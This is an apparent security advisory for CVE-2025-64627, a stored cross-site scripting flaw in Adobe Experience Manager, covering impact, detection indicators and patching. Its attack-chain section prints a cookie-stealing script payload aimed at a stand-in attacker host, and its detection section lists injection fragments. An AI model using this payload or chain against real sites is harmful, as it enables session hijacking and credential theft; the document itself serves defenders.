CVE-2025-64627: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64627 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged, network-adjacent attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is then stored server-side and executed in the browser of any victim who visits the affected page. Exploitation requires user interaction (a victim browsing to the compromised page) and low privileges to submit content, but no special configuration is needed beyond standard AEM authoring access. The changed scope indicates the injected script can affect resources beyond the attacker's own session context (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope means the impact can extend beyond the attacker's own privilege level, potentially affecting higher-privileged users such as administrators who view the injected content. Confidentiality and integrity are both at low risk per the CVSS assessment, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or Shodan/Censys queries targeting AEM-specific endpoints.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account, which is sufficient to submit content to vulnerable form fields.
3. Inject malicious payload: Navigate to a vulnerable AEM form field (e.g., a rich text editor or content input field) and submit a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Payload persistence: The malicious script is stored server-side within AEM's content repository (JCR) and rendered to any user who views the affected page.
5. Victim interaction: Wait for a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected content, triggering execution of the malicious JavaScript in their browser.
6. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or pivot to further attacks using the stolen credentials or session tokens (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads (%3Cscript%3E, javascript:, onerror=, etc.).
• File System / Content Repository: Unexpected <script> tags or JavaScript event handlers stored within AEM JCR content nodes, detectable via repository queries or content audits.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• Logs: AEM error logs or browser console errors related to Content Security Policy (CSP) violations triggered by injected scripts, if CSP is enforced.

Adobe has released patches addressing CVE-2025-64627: AEM on-premises users should upgrade to version 6.5.24.0 or later, and AEM Cloud Service users are protected as of release 2025.12.0. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also enforce Content Security Policy (CSP) headers and restrict content authoring permissions to trusted users as defense-in-depth measures (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, recommending prompt patching (CIS Advisory). Tenable published a Nessus detection plugin (ID 278346) to help organizations identify vulnerable AEM instances (Tenable). No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE.